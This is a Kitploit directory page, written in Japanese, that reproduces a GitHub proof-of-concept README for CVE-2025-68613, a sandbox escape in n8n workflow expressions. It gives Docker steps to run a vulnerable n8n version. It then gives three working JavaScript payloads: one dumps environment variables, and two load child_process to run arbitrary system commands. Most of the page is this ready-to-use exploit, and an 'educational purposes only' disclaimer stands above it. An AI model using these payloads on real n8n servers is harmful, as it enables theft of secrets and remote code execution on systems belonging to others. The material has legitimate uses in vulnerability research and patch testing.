Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
poc_CVE-2025-68613 — CVE-2025-68613 の PoC | Kitploit
ツール/GitHubGitHub/reem-012/poc_cve-2025-68613
脆弱性分析コード分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育
GitHubreem-012/poc_cve-2025-68613

poc_CVE-2025-68613

CVE-2025-68613 の PoC

リポジトリを見る
48ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

PoC: n8n サンドボックスエスケープ (CVE-2025-68613)

教育目的のみ この PoC は、n8n における重大な脆弱性 (CVE-2025-68613) を実証します。所有していないシステム、または明示的なテスト許可を得ていないシステムでは使用しないでください。

脆弱性の概要

1.122.0 より前の n8n には、リモートコード実行 (RCE) の脆弱性が存在します。認証済みユーザーは、ワークフローの式エディターで特定の JavaScript ペイロードを使用することにより、式サンドボックスをバイパスして、ホストシステム上で任意のコードを実行できます。

1. 脆弱性のある環境のセットアップ

データボリュームを作成し、脆弱性のあるバージョンの n8n (例: v1.120.0) を実行します。

root@kitploit:~
# Create volume for persistence
docker volume create n8n_data

# Run vulnerable n8n instance
docker run -it --rm \
  --name n8n \
  -p 5678:5678 \
  -v n8n_data:/home/node/.n8n \
  n8nio/n8n:1.120.0

2. 再現手順

インターフェースへのアクセス

http://localhost:5678 にアクセスし、必要に応じて初期セットアップを完了します。

ワークフローの作成

"Add Workflow" をクリックして、空のワークフローを開始します。

ツールをダウンロード

脆弱性のあるノードの追加

ワークフローに Set ノードを追加します。このノードを使用すると、式として評価できる値を定義できます。

式の設定

Set ノードで、パラメーター (例: value) を変更し、入力タイプを Expression に変更します。

3. 悪用ペイロード

脆弱性を実証するには、次のペイロードを式エディターに入力します。

ペイロード 1: 環境変数のダンプ

このペイロードは this.process.env にアクセスして、コンテナから機密性の高い環境変数を漏えいさせます。

ペイロード:

root@kitploit:~
{{ (function() {
  return JSON.stringify(this.process.env, null, 2);
})() }}

結果:

ペイロード 2: リモートコード実行 (whoami)

このペイロードは、process.mainModule.require にアクセスして child_process モジュールをロードすることでサンドボックスをバイパスし、任意のシステムコマンドを実行できるようにします。

ペイロード:

root@kitploit:~
{{ (function() {
  const require = this.process.mainModule.require;
  const { execSync } = require('child_process');
  return execSync('whoami').toString();
})() }}

結果: 実行中のプロセスのユーザーコンテキストを確認します。

ペイロード 3: 完全な RCE (ルートディレクトリの一覧表示)

ファイルシステムを閲覧できることを実証します。

ペイロード:

root@kitploit:~
{{ (function() {
  const require = this.process.mainModule.require;
  const { execSync } = require('child_process');
  return execSync('ls -la /').toString();
})() }}

結果: